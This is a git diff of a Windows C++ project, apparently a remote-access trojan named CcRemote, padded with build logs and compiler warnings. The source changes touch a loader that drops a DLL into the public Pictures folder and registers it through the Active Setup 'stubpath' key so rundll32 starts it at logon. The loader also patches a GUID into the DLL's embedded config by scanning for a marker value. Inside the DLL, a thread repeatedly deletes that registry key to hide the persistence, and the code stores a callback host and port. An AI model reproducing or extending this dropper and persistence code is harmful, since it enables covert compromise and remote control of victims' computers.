diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 6b60c73..af055b7 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index 6463ee1..3d365a3 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1,5 +1,7 @@ f:\myapp\ccremote\bin\server\ccmaindll.lib f:\myapp\ccremote\bin\server\ccmaindll.exp +f:\myapp\ccremote\bin\server\ccmaindll.ipdb +f:\myapp\ccremote\bin\server\ccmaindll.iobj f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb @@ -36,5 +38,6 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index f4867f0..719bda5 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -166,21 +166,21 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值 f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决 d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 StrCry.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index ee4380f..75e6117 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -162,21 +162,21 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值 f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决 d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 StrCry.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index 2cd1a42..0a37495 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -14,7 +14,8 @@ struct Connect_Address DWORD dwstact; char strIP[MAX_PATH]; int nPort; -}g_myAddress = { 0xCC28256,"",0 }; + char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid +}g_myAddress = { 0xCC28256,"",0,"" }; DWORD WINAPI DelAXRegThread(LPVOID lpParam); @@ -290,8 +291,8 @@ extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]) extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort) { - strcpy(g_strHost, strHost); //保存上线地址 - g_dwPort = nPort; //保存上线端口 + strcpy(g_strHost, strHost); // 保存上线地址 + g_dwPort = nPort; // 保存上线端口 HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL); //这里等待线程结束 WaitForSingleObject(hThread, INFINITE); @@ -300,8 +301,8 @@ extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort) void TestFuns(char* strHost, int nPort) { - strcpy(g_strHost, strHost); //保存上线地址 - g_dwPort = nPort; //保存上线端口 + strcpy(g_strHost, strHost); // 保存上线地址 + g_dwPort = nPort; // 保存上线端口 HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL); //这里等待线程结束 WaitForSingleObject(hThread, INFINITE); @@ -312,8 +313,8 @@ void TestFuns(char* strHost, int nPort) extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow) { MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL); - char strHost[] = "127.0.0.1"; //声明上线地址 - int nPort = 8088; //声明上线端口 + char strHost[] = "127.0.0.1"; // 声明上线地址 + int nPort = 8088; // 声明上线端口 TestFuns(strHost, nPort); } @@ -346,30 +347,21 @@ extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR DWORD WINAPI DelAXRegThread(LPVOID lpParam) { - char strFileName[MAX_PATH]; //dll文件名 - char *pstrTemp = NULL; - char ActiveXStr[1024]; //activex 键值字符串 - char ActiveXStr32[1024]; //activex 键值字符串 - + char ActiveXStr[1024]; // activex 键值字符串 + char ActiveXStr32[1024]; // activex 键值字符串 ZeroMemory(ActiveXStr, 1024); - ZeroMemory(strFileName, MAX_PATH); ZeroMemory(ActiveXStr32, 1024); - //得到自身文件名 - GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH); - PathStripPath(strFileName); //将完整文件名转换为文件名 - pstrTemp = strstr(strFileName, ".dll"); //寻找 .dll然后将他删除掉 - if (pstrTemp != NULL) + if (g_myAddress.ActiveXKeyGuid != NULL) { - ZeroMemory(pstrTemp, strlen(pstrTemp)); //删除掉扩展名 //构造键值 - sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", strFileName); - sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", strFileName); + sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid); + sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid); while (1) { //不停的删除注册表 RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr); - OutputDebugString(ActiveXStr); //输出删除的字串用以测试 + OutputDebugString(ActiveXStr); // 输出删除的字串用以测试 RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32); OutputDebugString(ActiveXStr32); Sleep(1000 * 30); diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log index 7c74d28..65eeb36 100644 --- a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log +++ b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log @@ -1,8 +1,8 @@ f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj -f:\myapp\ccremote\bin\server\loder.ilk f:\myapp\ccremote\bin\server\loder.exe +f:\myapp\ccremote\bin\server\loder.ilk f:\myapp\ccremote\bin\server\loder.pdb f:\myapp\ccremote\ccmaindll\loder\debug\loder.res f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe diff --git a/CcMainDll/Loder/Debug/Loder.log b/CcMainDll/Loder/Debug/Loder.log index eda1618..497f46d 100644 --- a/CcMainDll/Loder/Debug/Loder.log +++ b/CcMainDll/Loder/Debug/Loder.log @@ -1,5 +1,6 @@ C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 Loder.cpp + _WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h) f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. @@ -12,16 +13,18 @@ f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': Thi d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res index a2e4b3e..df05643 100644 Binary files a/CcMainDll/Loder/Debug/Loder.res and b/CcMainDll/Loder/Debug/Loder.res differ diff --git a/CcMainDll/Loder/Loder.cpp b/CcMainDll/Loder/Loder.cpp index 3830d52..5f3a4d5 100644 --- a/CcMainDll/Loder/Loder.cpp +++ b/CcMainDll/Loder/Loder.cpp @@ -1,14 +1,39 @@ // Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // - +#include #include #include #include "resource.h" #include "RegEditEx.h" #include + #pragma comment(lib, "shell32.lib") +struct Connect_Address +{ + DWORD dwstact; + char strIP[MAX_PATH]; + int nPort; + char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid +}g_myAddress = { 0xCC28257,"",0,"" }; + + + +int memfind(const char *mem, const char *str, int sizem, int sizes) +{ + int da, i, j; + if (sizes == 0) da = strlen(str); + else da = sizes; + for (i = 0; i < sizem; i++) + { + for (j = 0; j < da; j++) + if (mem[i + j] != str[j]) break; + if (j == da) return i; + } + return -1; +} + bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) { DWORD dwWritten; @@ -26,7 +51,7 @@ bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) return true; } //要释放的路径 资源ID 资源名 -bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName) +bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL) { HRSRC hResInfo; HGLOBAL hResData; @@ -58,6 +83,20 @@ bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResource // 复制资源数据 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); + // 设置guid + if (pActiveXKeyGuid != NULL) + { + g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个 + int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD)); + if (nOffset >= 0) + { + memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address)); + strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid); + memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address)); + } + + } + bool bRet = CreateMyFile(strFilePath, p, dwSize); if (!bRet) { @@ -96,7 +135,7 @@ char *AddsvchostService() char servicename[50]; do { - //这里获得类似这样的服务名netsvcs_0,netsvcs_1。。。。。。。 + //这里获得类似这样的服务名netsvcs_0,netsvcs_1 wsprintf(servicename, "netsvcs_0x%d", i); for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1) { @@ -237,6 +276,7 @@ int ServerSetup() + BOOL GetNUM(char *num) { CoInitialize(NULL); @@ -266,6 +306,7 @@ void ActiveXSetup() char ActivexStr[1024]; // 用于存储ActiveX的键字串 char ActiveXKey[64]; // ActiveX 的GUID字串 char strCmdLine[MAX_PATH]; // 存储启动的命令行参数 + char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串 // ActiveX路径 char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\"; @@ -284,7 +325,7 @@ void ActiveXSetup() //GetSystemDirectory(strFileName, MAX_PATH); SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE); strcat(strFileName, "\\"); - strcat(strFileName, ActiveXKey); + strcat(strFileName, fileName); strcat(strFileName, ".dll"); @@ -298,9 +339,9 @@ void ActiveXSetup() sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName); //将参数写道注册表中 RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine)); - RegCloseKey(hKey); + //RegCloseKey(hKey); //释放文件 - CreateEXE(strFileName, IDR_DLL1, "DLL"); + CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey); //启动服务端 STARTUPINFO StartInfo; diff --git a/CcMainDll/Loder/Release/Loder.log b/CcMainDll/Loder/Release/Loder.log index 49ea14d..170ba7e 100644 --- a/CcMainDll/Loder/Release/Loder.log +++ b/CcMainDll/Loder/Release/Loder.log @@ -1,5 +1,6 @@ C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 Loder.cpp + _WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h) f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. @@ -12,19 +13,21 @@ f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': Th d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 